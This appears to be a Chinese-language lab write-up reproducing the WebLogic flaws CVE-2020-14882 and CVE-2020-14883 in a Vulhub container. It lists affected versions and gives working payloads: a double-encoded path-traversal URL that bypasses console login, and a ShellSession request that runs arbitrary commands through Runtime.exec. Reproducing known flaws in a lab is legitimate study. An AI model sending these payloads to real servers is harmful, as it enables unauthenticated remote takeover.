0x00 漏洞描述
WebLogic是美国Oracle公司的主要产品之一,是商业市场上主要的 J2EE 应用服务器软件,也是世界上第一个成功商业化的J2EE应用服务器,在 Java 应用服务器中有非常广泛的部署和应用。CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。组合利用CVE-2020-14882/CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限制,最终远程执行代码接管WebLogic服务器,利用难度极低,风险极大。
0x01 影响版本
- Oracle Weblogic Server 10.3.6.0.0
- Oracle Weblogic Server 12.1.3.0.0
- Oracle Weblogic Server 12.2.1.3.0
- Oracle Weblogic Server 12.2.1.4.0
- Oracle Weblogic Server 14.1.1.0.0
0x02 漏洞复现
使用Vulhub的漏洞平台进行复现。
docker-compose up -d
docker搭建好后,访问[ip]:[port]/console
显示后台登陆界面,搭建成功。
通过未授权访问漏洞可直接绕过验证进入后台。Payload:
http://[ip]:[port]/console/images/%252E%252E%252Fconsole.portal
注:这里的%252e%252e%252f
即二次编码过后的../
。
此时的权限很低。我们已经成功复现了CVE-2020-14882,接下来结合它复现一哈CVE-2020-14883,达到任意代码执行的目的。
首先我以交互终端形式进入该容器,查看/tmp文件夹下的内容。
Payload:
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27你想执行的命令%27);%22);
我执行了touch /tmp/shawroot123
,页面显示404:
但是实际上命令成功执行了: